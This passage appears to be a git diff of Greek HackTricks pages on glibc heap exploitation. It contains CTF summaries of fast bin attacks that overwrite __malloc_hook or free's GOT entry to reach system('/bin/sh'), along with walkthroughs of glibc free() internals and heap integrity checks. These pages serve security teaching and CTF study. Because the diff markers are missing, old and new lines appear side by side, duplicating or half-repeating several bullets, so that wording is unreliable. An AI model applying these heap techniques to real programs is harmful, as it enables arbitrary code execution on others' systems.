* **Συγχώνευση τμήματος για διαρροή πληροφοριών**: Η τεχνική βασικά είναι να καταχραστείτε την υπερχείλιση για να δημιουργήσετε ένα ψεύτικο `prev_size` ώστε ένα προηγούμενο τμήμα να τοποθετηθεί μέσα σε ένα μεγαλύτερο, έτσι όταν διατίθεται το μεγαλύτερο που περιέχει άλλο ένα τμήμα, είναι δυνατόν να εκτυπωθούν τα δεδομένα του και να διαρρεύσει μια διεύθυνση στο libc (`main_arena+88`).
* **Αντικατάσταση του malloc hook**: Για αυτό, και καταχρηστικά την προηγούμενη κατάσταση επικάλυψης, ήταν δυνατό να υπάρχουν 2 τμήματα που έδειχναν στην ίδια μνήμη. Συνεπώς, απελευθερώνοντάς τα και τα δύο (απελευθερώνοντας ένα άλλο τμήμα μεταξύ τους για να αποφευχθούν προστασίες), ήταν δυνατό να υπάρχει το ίδιο τμήμα στο fast bin 2 φορές. Στη συνέχεια, ήταν δυνατό να το διατεθεί ξανά, να αντικατασταθεί η διεύθυνση του επόμενου τμήματος για να δείχνει λίγο πριν από το `__malloc_hook` (έτσι ώστε να δείχνει σε έναν ακέραιο που το malloc νομίζει ότι είναι μέγεθος ελεύθερο - άλλη παράκαμψη), να το διατεθεί ξανά και στη συνέχεια να διατεθεί ένα άλλο τμήμα που θα λάβει μια διεύθυνση στους malloc hooks.\
Τελικά ένα **one gadget** γράφτηκε εκεί.
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:**
* Υπάρχει υπερχείλιση στη στοίβα και χρήση μετά την απελευθέρωση και διπλή απελευθέρωση επειδή όταν ένα τμήμα απελευθερώνεται είναι δυνατόν να επαναχρησιμοποιηθούν και να απελευθερωθούν ξανά οι δείκτες
* **Διαρροή πληροφοριών Libc**: Απλώς απελευθερώστε μερικά τμήματα και θα λάβουν ένα δείκτη σε μέρος της τοποθεσίας του κύριου χώρου. Δεδομένου ότι μπορείτε να επαναχρησιμοποιήσετε απελευθερωμένους δείκτες, απλώς διαβάστε αυτήν τη διεύθυνση.
* **Επίθεση Fast bin**: Όλοι οι δείκτες στις δεσμεύσεις αποθηκεύονται μέσα σε έναν πίνακα, έτσι μπορούμε να απελευθερώσουμε μερικά τμήματα fast bin και στο τελευταίο να αντικαταστήσουμε τη διεύθυνση για να δείχνει λίγο πριν από αυτόν τον πίνακα δεικτών. Στη συνέχεια, να δεσμεύσουμε μερικά τμήματα με το ίδιο μέγεθος και θα λάβουμε πρώτα το γνήσιο και στη συνέχεια το ψεύτικο που περιέχει τον πίνακα δεικτών. Τώρα μπορούμε να αντικαταστήσουμε αυτούς τους δείκτες δέσμευσης για να κάνουμε τη διεύθυνση GOT του `free` να δείχνει στο `system` και στη συνέχεια να γράψουμε `"/bin/sh"` στο τμήμα 1 για να καλέσουμε στη συνέχεια το `free(chunk1)` το οποίο αντ' αυτού θα εκτελέσει το `system("/bin/sh")`.
* **Επίθεση Fast bin**: Όλοι οι δείκτες στις δεσμεύσεις αποθηκεύονται μέσα σε έναν πίνακα, έτσι μπορούμε να απελευθερώσουμε μερικά γρήγορα τμήματα fast bin και στο τελευταίο να αντικαταστήσουμε τη διεύθυνση για να δείχνει λίγο πριν από αυτόν τον πίνακα δεικτών. Στη συνέχεια, να δεσμεύσουμε μερικά τμήματα με το ίδιο μέγεθος και θα λάβουμε πρώτα το γνήσιο και στη συνέχεια το ψεύτικο που περιέχει τον πίνακα δεικτών. Τώρα μπορούμε να αντικαταστήσουμε αυτούς τους δείκτες δέσμευσης για να κάνουμε τη διεύθυνση GOT του `free` να δείχνει στο `system` και στη συνέχεια να γράψουμε `"/bin/sh"` στο τμήμα 1 για να καλέσουμε στη συνέχεια το `free(chunk1)` το οποίο αντ' αυτού θα εκτελέσει το `system("/bin/sh")`.
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
* Ένα άλλο παράδειγμα κατάχρησης μιας υπερχείλισης ενός byte για τη συγχώνευση τμημάτων στον μη ταξινομημένο κάδο και τη λήψη μιας διαρροής πληροφοριών Libc και στη συνέχεια την εκτέλεση μιας επίθεσης fast bin για την αντικατάσταση του malloc hook με μια διεύθυνση one gadget
* Ένα άλλο παράδειγμα κατάχρησης μιας υπερχείλισης ενός byte για τη συγχώνευση τμημάτων στον αταξινόμητο bin και τη λήψη μιας διαρροής πληροφοριών Libc και στη συνέχεια την εκτέλεση μιας επίθεσης fast bin για την αντικατάσταση του malloc hook με μια διεύθυνση one gadget
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html)
* Μετά από μια διαρροή πληροφοριών κατάχρησης του μη ταξινομημένου κάδου με ένα UAF για να διαρρεύσει μια διεύθυνση Libc και μια διεύθυνση PIE, η εκμετάλλευση αυτού του CTF χρησιμοποίησε μια επίθεση fast bin για να δεσμεύσει ένα τμήμα σε ένα μέρος όπου βρίσκονταν οι δείκτες σε ελεγχόμενα τμήματα, έτσι ήταν δυνατόν να αντικατασταθούν ορισμένοι δείκτες για να γραφτεί ένα one gadget στην GOT
* Μπορείτε να βρείτε μια Fast Bin επίθεση που καταχρηστικά χρησιμοποιείται μέσω μιας επίθεσης μη ταξινομημένου κάδου:
* Σημειώστε ότι είναι συνηθισμένο πριν εκτελέσετε επιθέσεις fast bin να καταχρηστεύεστε τις λίστες απελευθέρωσης για να διαρρεύσετε διευθύνσεις libc/heap (όταν απαιτείται).
* Μετά από μια διαρροή πληροφοριών καταχρηστικά του αταξινόμητου bin με ένα UAF για να διαρρεύσει μια διεύθυνση Libc και μια διεύθυνση PIE, η εκμετάλλευση αυτού του CTF χρησιμοποίησε μια επίθεση fast bin για να δεσμεύσει ένα τμήμα σε ένα μέρος όπου βρίσκονταν οι δείκτες σε ελεγχόμενα τμήματα, έτσι ήταν δυνατό να αντικατασταθούν ορισμένοι δείκτες για να γραφτεί ένα one gadget στο GOT
* Μπορείτε να βρείτε μια Fast Bin επίθεση που καταχρηστικά χρησιμοποιείται μέσω μιας επίθεσης αταξινόμητου bin:
* Σημειώστε ότι είναι συνηθισμένο πριν εκτελέσετε επιθέσεις fast bin να καταχρηστικά χρησιμοποιείτε τις λίστες απελευθέρωσης για να διαρρεύσετε διευθύνσεις libc/heap (όταν απαιτείται).
* [**Εργοστάσιο Ρομπότ. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
* Μπορούμε να δεσμεύσουμε μόνο τμήματα μεγαλύτερα από `0x100`.
* Αντικατάσταση του `global_max_fast` χρησιμοποιώντας μια επίθεση Unsorted Bin (λειτουργεί 1 στις 16 φορές λόγω ASLR, επειδή πρέπει να τροποποιήσουμε 12 bits, αλλά πρέπει να τροποποιήσουμε 16 bits).
* Επίθεση Fast Bin για την τροποποίηση ενός παγκόσμιου πίνακα τμημάτων. Αυτό παρέχει ένα αυθαίρετο ανάγνωσης/εγγραφής, το οποίο επιτρέπει την τροποποίηση της GOT και την ρύθμιση κάποιας λειτουργίας να δείχνει στο `system`.
* Επίθεση Fast Bin για την τροποποίηση ενός παγκόσμιου πίνακα τμημάτων. Αυτό δίνει ένα αυθαίρετο ανάγνωσης/εγγραφής πρωτογενές, το οποίο επιτρέπει την τροποποίηση του GOT και την ρύθμιση κάποιας λειτουργίας να δείχνει στο `system`.
{% content-ref url="unsorted-bin-attack.md" %}
[unsorted-bin-attack.md](unsorted-bin-attack.md)
{% endcontent-ref %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟ
<summary>Υποστηρίξτε το HackTricks</summary

View file

@ -1,17 +1,33 @@
# Συναρτήσεις Μνήμης Σωρού
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε AWS hacking από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
##
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# Δωρεάν
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθράς Ομάδας AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>
{% endhint %}
## Σύνοψη Δωρεάν Παραγγελίας <a href="#libc_free" id="libc_free"></a>
## Δωρεάν Περίληψη Παραγγελίας <a href="#libc_free" id="libc_free"></a>
(Δεν εξηγούνται ελέγχοι σε αυτήν τη σύνοψη και ορισμένες περιπτώσεις έχουν παραλειφθεί για συντομία)
(Δεν εξηγούνται ελέγχοι σε αυτήν την περίληψη και ορισμένες περιπτώσεις έχουν παραλειφθεί για συντομία)
1. Αν η διεύθυνση είναι null, μην κάνετε τίποτα
2. Αν το κομμάτι ήταν `mmaped`, απελευθερώστε το και τελειώστε
2. Αν το κομμάτι ήταν διαμορφωμένο με χρήση mmap, απελευθερώστε το και τελειώστε
3. Καλέστε `_int_free`:
1. Αν είναι δυνατό, προσθέστε το κομμάτι στο tcache
2. Αν είναι δυνατό, προσθέστε το κομμάτι στο fast bin
3. Καλέστε `_int_free_merge_chunk` για να συγχωνεύσετε το κομμάτι αν χρειάζεται και προσθέστε το στη λίστα των μη ταξινομημένων
1. Αν είναι δυνατό, προσθέστε το κομμάτι στην tcache
2. Αν είναι δυνατό, προσθέστε το κομμάτι στο fast bin
3. Καλέστε το `_int_free_merge_chunk` για να συγχωνεύσετε το κομμάτι αν είναι απαραίτητο και προσθέστε το στη λίστα των μη ταξινομημένων
## \_\_libc\_free <a href="#libc_free" id="libc_free"></a>
Το `Free` καλεί το `__libc_free`.
* Αν η διεύθυνση που περνάτε είναι Null (0) μην κάνετε τίποτα.
* Αν η διεύθυνση που περνάται είναι Null (0), μην κάνετε τίποτα.
* Ελέγξτε το ετικέτα δείκτη
* Αν το κομμάτι είναι `mmaped`, απελευθερώστε το και τέλος
* Αν όχι, προσθέστε το χρώμα και καλέστε το `_int_free` πάνω του
@ -94,8 +95,8 @@ libc_hidden_def (__libc_free)
Ξεκινά με μερικούς ελέγχους για να βεβαιωθεί:
* ότι ο **δείκτης** είναι **ευθυγραμμισμένος,** αλλιώς ενεργοποιείται σφάλμα `free(): μη έγκυρος δείκτης`
* ότι το **μέγεθος** δεν είναι μικρότερο από το ελάχιστο και ότι το **μέγεθος** είναι επίσης **ευθυγραμμισμένο** ή ενεργοποιείται σφάλμα: `free(): μη έγκυρο μέγεθος`
* ότι ο **δείκτης** είναι **ευθυγραμμισμένος,** αλλιώς εκκινείται σφάλμα `free(): μη έγκυρος δείκτης`
* ότι το **μέγεθος** δεν είναι μικρότερο από το ελάχιστο και ότι το **μέγεθος** είναι επίσης **ευθυγραμμισμένο** ή εκκινείται σφάλμα: `free(): μη έγκυρο μέγεθος`
<details>
@ -131,9 +132,9 @@ check_inuse_chunk(av, p);
### \_int\_free tcache <a href="#int_free" id="int_free"></a>
Αρχικά θα προσπαθήσει να δεσμεύσει αυτό το κομμάτι μνήμης στο σχετικό tcache. Ωστόσο, πραγματοποιούνται ορισμένοι έλεγχοι προηγουμένως. Θα επαναλάβει όλα τα κομμάτια του tcache στον ίδιο δείκτη με το απελευθερωμένο κομμάτι και:
Αρχικά θα προσπαθήσει να δεσμεύσει αυτό το κομμάτι μνήμης στο σχετικό tcache. Ωστόσο, πραγματοποιούνται ορισμένοι έλεγχοι πριν. Θα επαναλάβει όλα τα κομμάτια του tcache στον ίδιο δείκτη με το απελευθερωμένο κομμάτι και:
* Αν υπάρχουν περισσότερες καταχωρήσεις από το `mp_.tcache_count`: `free(): too many chunks detected in tcache`
* Αν υπάρχουν περισσότερες καταχωρήσεις από `mp_.tcache_count`: `free(): too many chunks detected in tcache`
* Αν η καταχώρηση δεν είναι ευθυγραμμισμένη: `free(): unaligned chunk detected in tcache 2`
* Αν το απελευθερωμένο κομμάτι έχει ήδη απελευθερωθεί και υπάρχει ως κομμάτι στο tcache: `free(): double free detected in tcache 2`
@ -185,7 +186,7 @@ return;
### \_int\_free γρήγορος κάδος <a href="#int_free" id="int_free"></a>
Ξεκινήστε ελέγχοντας αν το μέγεθος είναι κατάλληλο για τον γρήγορο κάδο και ελέγξτε αν είναι δυνατόν να το τοποθετήσετε κοντά στο κομμάτι κορυφής (top chunk).
Ξεκινήστε ελέγχοντας αν το μέγεθος είναι κατάλληλο για τον γρήγορο κάδο και ελέγξτε αν είναι δυνατόν να το τοποθετήσετε κοντά στο κομμάτι κορυφής.
Στη συνέχεια, προσθέστε το απελευθερωμένο κομμάτι στην κορυφή του γρήγορου κάδου ενώ πραγματοποιείτε ορισμένους ελέγχους:
@ -311,19 +312,19 @@ munmap_chunk (p);
## \_int\_free\_merge\_chunk
Αυτή η συνάρτηση θα προσπαθήσει να συγχωνεύσει το κομμάτι P με μέγεθος SIZE bytes με τους γείτονές του. Θα τοποθετήσει το αποτέλεσμα στη λίστα μη ταξινομημένων κομματιών.
Αυτή η συνάρτηση θα προσπαθήσει να συγχωνεύσει το κομμάτι P με μέγεθος SIZE bytes με τους γείτονές του. Θα τοποθετήσει το αποτέλεσμα στη λίστα unsorted bin.
Κάποιοι έλεγχοι πραγματοποιούνται:
* Αν το κομμάτι είναι το κορυφαίο κομμάτι: `double free or corruption (top)`
* Αν το επόμενο κομμάτι βρίσκεται εκτός των ορίων της αρένας: `double free or corruption (out)`
* Αν το κομμάτι δεν είναι σημασιολογημένο ως χρησιμοποιημένο (στο `prev_inuse` από το επόμενο κομμάτι): `double free or corruption (!prev)`
* Αν το επόμενο κομμάτι βρίσκεται έξω από τα όρια της αρένας: `double free or corruption (out)`
* Αν το κομμάτι δεν είναι σημασιοδοτημένο ως χρησιμοποιημένο (στο `prev_inuse` από το επόμενο κομμάτι): `double free or corruption (!prev)`
* Αν το επόμενο κομμάτι έχει πολύ μικρό ή πολύ μεγάλο μέγεθος: `free(): invalid next size (normal)`
* αν το προηγούμενο κομμάτι δεν είναι σε χρήση, θα προσπαθήσει να συγχωνεύσει. Αλλά, αν το prev\_size διαφέρει από το μέγεθος που υποδεικνύεται στο προηγούμενο κομμάτι: `corrupted size vs. prev_size while consolidating`
* Αν το προηγούμενο κομμάτι δεν είναι σε χρήση, θα προσπαθήσει να συγχωνεύσει. Αλλά, αν το prev\_size διαφέρει από το μέγεθος που υποδεικνύεται στο προηγούμενο κομμάτι: `corrupted size vs. prev_size while consolidating`
<details>
<summary>_int_free_merge_chunk κώδικας</summary>
<summary>_int_free_merge_chunk code</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
@ -373,16 +374,17 @@ _int_free_maybe_consolidate (av, size);
```
</details>
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Έλεγχοι Ασφάλειας Συναρτήσεων Heap
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε hacking tricks υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## unlink
@ -24,11 +25,11 @@
Αυτό είναι ένα σύνοψη των πραγματοποιημένων ελέγχων:
* Έλεγχος εάν το υποδειγμένο μέγεθος του κομματιού είναι το ίδιο με το `prev_size` που υποδεικνύεται στο επόμενο κομμάτι
* Έλεγχος εάν το καθορισμένο μέγεθος του κομματιού είναι το ίδιο με το `prev_size` που υποδεικνύεται στο επόμενο κομμάτι
* Μήνυμα σφάλματος: `corrupted size vs. prev_size`
* Έλεγχος επίσης ότι `P->fd->bk == P` και `P->bk->fw == P`
* Μήνυμα σφάλματος: `corrupted double-linked list`
* Αν το κομμάτι δεν είναι μικρό, ελέγξτε ότι `P->fd_nextsize->bk_nextsize == P` και `P->bk_nextsize->fd_nextsize == P`
* Εάν το κομμάτι δεν είναι μικρό, ελέγξτε ότι `P->fd_nextsize->bk_nextsize == P` και `P->bk_nextsize->fd_nextsize == P`
* Μήνυμα σφάλματος: `corrupted double-linked list (not small)`
## \_int\_malloc
@ -40,66 +41,66 @@
{% endcontent-ref %}
* **Έλεγχοι κατά τη διάρκεια της αναζήτησης fast bin:**
* Αν το κομμάτι δεν είναι συμμετρικό:
* Εάν το κομμάτι δεν είναι συμμετρικό:
* Μήνυμα σφάλματος: `malloc(): unaligned fastbin chunk detected 2`
* Αν το εμπρός κομμάτι δεν είναι συμμετρικό:
* Εάν το επόμενο κομμάτι δεν είναι συμμετρικό:
* Μήνυμα σφάλματος: `malloc(): unaligned fastbin chunk detected`
* Αν το επιστρεφόμενο κομμάτι έχει μέγεθος που δεν είναι σωστό λόγω της θέσης του στο fast bin:
* Εάν το επιστρεφόμενο κομμάτι έχει μέγεθος που δεν είναι σωστό λόγω της θέσης του στο fast bin:
* Μήνυμα σφάλματος: `malloc(): memory corruption (fast)`
* Αν οποιοδήποτε κομμάτι που χρησιμοποιείται για να γεμίσει το tcache δεν είναι συμμετρικό:
* Εάν οποιοδήποτε κομμάτι που χρησιμοποιείται για να γεμίσει το tcache δεν είναι συμμετρικό:
* Μήνυμα σφάλματος: `malloc(): unaligned fastbin chunk detected 3`
* **Έλεγχοι κατά τη διάρκεια της αναζήτησης small bin:**
* Αν `victim->bk->fd != victim`:
* Εάν `victim->bk->fd != victim`:
* Μήνυμα σφάλματος: `malloc(): smallbin double linked list corrupted`
* **Έλεγχοι κατά τη συγχώνευση** που πραγματοποιούνται για κάθε κομμάτι fast bin:&#x20;
* Αν το κομμάτι δεν είναι συμμετρικό ενεργοποίηση:
* Εάν το κομμάτι δεν είναι συμμετρικό:
* Μήνυμα σφάλματος: `malloc_consolidate(): unaligned fastbin chunk detected`
* Αν το κομμάτι έχει διαφορετικό μέγεθος από αυτό που θα έπρεπε λόγω της θέσης του:
